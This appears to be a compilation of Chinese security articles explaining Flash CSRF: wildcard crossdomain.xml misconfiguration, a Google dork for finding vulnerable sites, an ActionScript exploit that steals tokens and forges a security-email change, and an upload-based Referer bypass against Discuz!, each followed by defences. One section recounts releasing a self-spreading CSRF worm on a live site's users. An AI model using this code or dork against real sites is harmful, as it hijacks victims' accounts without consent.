Flash CSRF名词解释
CSRF（Cross-site request forgery跨站请求伪造，是一种对网站的恶意利用，CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的，利用方法是使用swf来发起跨站请求伪造。
Flash CSRF形成的原因
看看如何寻找Flash CSRF:
首先我们要知道怎么形成CSRF的，CSRF形成的原因大概有以下几种：
Flash跨域权限管理文件Crossdomain.XML设置为允许所有主机/域名跨域对本站进行读写数据：
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>
Flash跨域权限管理文件过滤规则不严(domain=”*”)，导致可以从其它任何域传Flash产生CSRF。
如何来发现哪些地方存在Flash CSRF
由上面我们得知Flash CSRF是因为跨域权限管理文件配置不当而产生的，所以我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF：
http://www.xxx.com/crossdomain.xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>
Flash CSRF可以干些什么
FlashCSRF漏洞查找流程：
Google hack:crossdomain filetype:xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*” secure=”true”/>
</cross-domain-policy>
Secure=true的意思是只允许通过安全链接来请求本域的数据<HTTPS>
发现前2个全都是需要用ssl证书加密了之后的网站里面的Flash的文件才能获取本域的内容，考虑可以自己搭建SSL网站，然后调用Flash文件进去不就可以读他们网站的数据和发送post请求，可以找了这么多地方Flash还没有地方可以插的，在不屑努力下，找到BLOG根目录下面的CrossDomain.xml文件居然允许所有主机的Flash读取本域的数据
Flash CSRF如何利用
找一个可以插入Flash的地方，插入自己写的Flash，访客访问网页就会执行我们写的脚本
下面来看看Flash CSRF具体利用方法：来制造一个访客访问我们链接的时候，自动设置自己的密保邮箱：
首先添加保密邮箱点提交，然后抓包分析它提交了什么内容，然后来构造我们的Flash CSRF利用代码<没有反CSRFToken>
1、申请保密邮箱，浏览器向服务端发送了一个POST请求，请求地址和参数为：
POST:xxx.xxx.xx/xx.jsp?userid=xxxx&mail=dddd@dddd.com
2、由于我们之前测试保密邮箱得知服务端没有验证Referer，但是页面验证了Token，所以我们就可以直接把POST数据包中的请求地址，参数名，参数值，Token值取出来用于伪造绑定保密邮箱的请求。
利用代码：
package {
import flash.display.Sprite;
import flash.events.Event;
import flash.net.*;
import flash.text.TextField;
public class url extends Sprite
{
public function url()
{
//获取当前页面userid/token
var echo_txt:TextField = new TextField();
var targetURL:String = “http://xx.xx.cc”;
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = “”;
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var userid:String=((loader.data+””).match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||[“”,””])[1];
var masthash:String=((loader.data+””).match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||[“”,””])[1];
echo_txt.text = masthash;
//伪造申请密保邮箱POST请求
var emailtargetURL:String = “http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send”;
var emailrequest:URLRequest = new URLRequest(emailtargetURL);
emailrequest.method = URLRequestMethod.POST;
var postdata:Object = new Array();
postdata[0]=”xxxx=xxxx@xxx.cc&xxxx=”+xxxxx&”xxxxx=”+xxx;
emailrequest.data = postdata[0];
sendToURL(emailrequest);
}
loader.load(request);
}
}
}
Flash CSRF怎么防御
一句话概括：站点根目录CrossDomain.xml跨域获取信息权限控制好，精确到子域，
附一份CrossDomain.xml文件权限配置：
<?xml version=”1.0″?>
<cross-domain-policy>
<allow-access-from domain=”http://xx.xx.com” secure=”true”/>
<allow-access-from domain=”http://cc.xx.com” secure=”true”/>
</cross-domain-policy>
根据自己的业务需求来更改CrossDomain.xml文件配置，切记精确到子域，这样会大大减少Flash CSRF的风险！
通用Flash CSRF EXP : FlashCSRFexp.swf
使用方法：<真实环境中只需要加载flash文件就会执行其中代码，不过需要改写swf文件>
FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post请求的地址]&[参数值用&分开]
科普 Flash CSRF攻击
2008年底，某个月黑风高的夜晚，当时中国第一个微博网站饭否（fanfou.com）正值风光，我对这个网站进行了一次授权安全测试，其中有个漏洞引起了我的思考：如何最大化利用，如何发起一次新颖的攻击。
这个漏洞是CSRF（Cross Site Request Forgery，即跨站请求伪造），这个在当时是普遍不能再普遍，渺小不能再渺小的漏洞。我知道利用这个漏洞可以让用户的权限被劫持，然后自动做些用户无法预知的“坏事”。
由于我比较擅长Flash，当年大学期间做过N个Flash小动画，Flash里的ActionScript脚本也是客户端脚本，同样可以做些坏事（不就是发出一些伪造的HTTP请求嘛？对于懂编程的人来说，太简单了），于是我就想到利用Flash为载体，来进行一个静悄悄的攻击：
我找了个开源的Flash小游戏（连连看）；
修改了里面的ActionScript代码，植入会发起伪造HTTP请求的代码；
重新生成出这个邪恶的Flash；
发布到自己的网站上；
发了条微博：“终于编写了第一个flash游戏：连连看:)，太不容易了- -...欢迎测试：http://xxxx.com/enjoy_flash_game.php?hi=yyyy”；
我的好友看到后，点击链接过去玩，他们会不会觉得还挺好玩的？哈哈；
玩的过程中，Flash里的ActionScript代码执行了，发起了跨站伪造的请求，这个请求会带上这些人的Cookies（关键点），那么这个请求对于饭否来说就是合法的了，于是成功完成了一些邪恶操作：他们都发了篇微博，内容一样，还发了私信给自己的好友；
于是传播开了……
月黑风高嘛，还能传播，这说明夜猫子是很多的:)，12:00->12:30半小时的时间，传播的很猛，人群开始紧张了，有人开始骂了，有人开始分析了，有人开始质疑了……
互联网开始沸腾了，我满足了，撤下了这个邪恶的Flash小游戏，写了个安全评估报告给了饭否，然后写出了第一篇Paper（第二天从北京到了阿里巴巴，参加他们的第一届精武门安全会议（也是唯一的一届），那时还是刺当主持人呢，圈子各位名声大的黑客也来了），我的第一次演讲就献给了这个Flash CSRF蠕虫，这是一个内部会议，所以没人知道那时发生了什么，很久之后我才公开。
之后CSRF完成了很多经典的攻击，比如直接打后台权限、搞下Gmail、银行网站等。CSRF的防御开始在那些开源Web应用中得到普及，各大互联网（具备SNS性质的）都开始注意到CSRF带来的恶意攻击，曾经人人网的一个链接就能摧毁一个人的所有日志，一个链接就能搞定一个站长的网站后台，黑客的手上拥有多大的权限……
爱因斯坦是最大的黑客
IC（知道创宇CEO）经常和我们说爱因斯坦的一句名言：“世界不是因为那些破坏者而变得危险，而是因为看着他们破坏而无动于衷的人而变得危险。” www.2cto.com 他说：“爱因斯坦才是最大的黑客！”
我们这些年尝试向Web应用厂商与站长去说明CSRF的危害可以如何的大，但，我们发现他们刚开始都无动于衷……这个在预料之内的（想想别人给我们“盛气凌人”的建议时？），基本都是出了安全问题才开始警惕，所以我们认为“通过无危害安全评估，证明出这个漏洞足够大的危害后，他们才会被触动；如果发生了有危害的黑客事件后，他们会立马行动。”
一份统计
我们的网站体检中心对导致Flash CSRF漏洞的原因之一（网站根目录下是否有crossdomain.xml且这个xml的allow-access-from是否为通配符，通配符表示任意域可以跨域获取本域的隐私数据）进行了统计，统计样本是hao123上那些热门的网站：7709个。
发现，18%的网站有这个crossdomain.xml，这其中有61%存在Flash CSRF漏洞。
注意下：前面说了crossdomain.xml配置不安全会导致任意域可以跨域获取本域的隐私数据，注意是读取，如果要跨域发送POST请求，还得看目标表单是否做了Token防御或验证码防御，是否判断了请求来源（比如只有本域内发起的POST请求才合法）。
防御
这个Flash CSRF的防御很简单：
1. crossdomain.xml的安全配置可以参考，指定好信任的域：
http://weibo.com/crossdomain.xml；
2. 注意：Discuz!安装后网站根目录下的这个文件，默认是不安全的，比如：http://bbs.uc.cn/crossdomain.xml；
答应开源的一个Flash安全测试小工具在这：https://github.com/evilcos/xss.swf，怎么使用自己看了:)
我们会持续性的进行安全科普，大家有什么问题可以在微信里给我们留言，我们会认真对待每份留言，并在下次发文时进行必要的解答。如果大家有什么安全八卦也欢迎投稿给我们。
科普改变世界，我们一起努力让这个互联网更好更安全吧！
Flash+Upload Csrf 攻击技术
Csrf的攻防技术都是比较成熟了的，如我在2008年写的文章《Bypass Preventing CSRF》http://www.xfocus.net/articles/200801/964.html ，目前对于国内的很多应用程序及SNS网站对于防御csrf多半使用的是token+Referer组合防御，然而对于flash而言在bypass这样的防御有着先天的优势。
一、Flash的调用及域
1、html调用flash，flash可以改后缀名。
2、flash可以单独访问，但是其效果类似与html调用同域的flash，但只这个后缀必须是swf。
3、flash发动请求时，是根据flash的域来判断的，而不是html来判断：
a、flash请求同域资源时，直接忽视crossdomain.xml。
b、flash请求外域资源时，受外域下crossdomain.xml里的策略限制。
二、flash的调用与Referer
html调用外域的flash时，flash发送的请求的Referer是flash的，而不是html的。[不包括多个flash互相load的场景]
三、Csrf攻击场景及方式
1、crossdomain.xml设置导致的csrf。
很多的网站及应用程序[如Discuz!]，默认把crossdomain.xml设置如下：
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
这样直接通过外域的flash读取被攻击域的内容，报告防御csrf的关键tonken。
2、上传功能导致的csrf。
在上面我们提到了html调用flash的时候，是可以修改后缀的。所以我们可以提供把flash后缀改为图片的后缀如gif来上传到被攻击域[另外这里一点php里的getimagesize()是支持flash文件的http://cn2.php.net/manual/zh/function.getimagesize.php]，然后根据“flash发动请求时，是根据flash的域来判断的，而不是html来判断”因为已经把flash后缀为gif上传到被攻击域，那么就是说目前完全符合“a、flash请求同域资源时，直接忽视crossdomain.xml”的情况。
另外根据“flash发送的请求的Referer是flash的，而不是html的”，所以在这种场景下，token+Referer判断的方式，基本可以无视了。
四、实际应用
参考《Discuz! Flash Csrf Vulnerability》
其实通过上传功能来实现flash csrf攻击案例，早在2008年80vul开展的项目SODB里就有http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt，只所以还要有今天的文章，主要是对一些细节强调不够，导致很多人的理解偏差，如在sodb-2008-03里我对上传文件的利用只是为了简单的绕过Referer判断来完成的，而忽视了“flash请求同域资源时，直接忽视crossdomain.xml”的请求，这个对于防御的意义还是很大的，因为你即使删除了crossdomain.xml文件，也不能完全防御flash csrf攻击。
五、防御方案
这里只针对上传功能场景下的攻击防御。
1、《代码与数据分离是安全设计的重要原则》by 刺
也就是严格把上传文件存放的域与web代码域分离，这个比较适合大企业及应用的部署。
2、加强对上传文件的判断，比如通过文件头来判断上传是不是flash文件，来禁止上传flash文件。
3、加强Referer的处理，因为flash发起的请求的Referer是flash文件的，也就是说你把flash改为gif文件通过html调用，发起的请求了Referer是这个已经改为gif的flash的url如：
yun_qi_img/1004333ntvhrv8vvy8lrc4.gif
POST http://127.0.0.1/Discuz_X2.5_SC_UTF8/upload/admin.php?action=members&operation=add HTTP/1.1
Host: 127.0.0.1
....
Referer: yun_qi_img/1004333ntvhrv8vvy8lrc4.gif
....
那么我通过识别Referer里这些类似的不常见的文件类型来防御。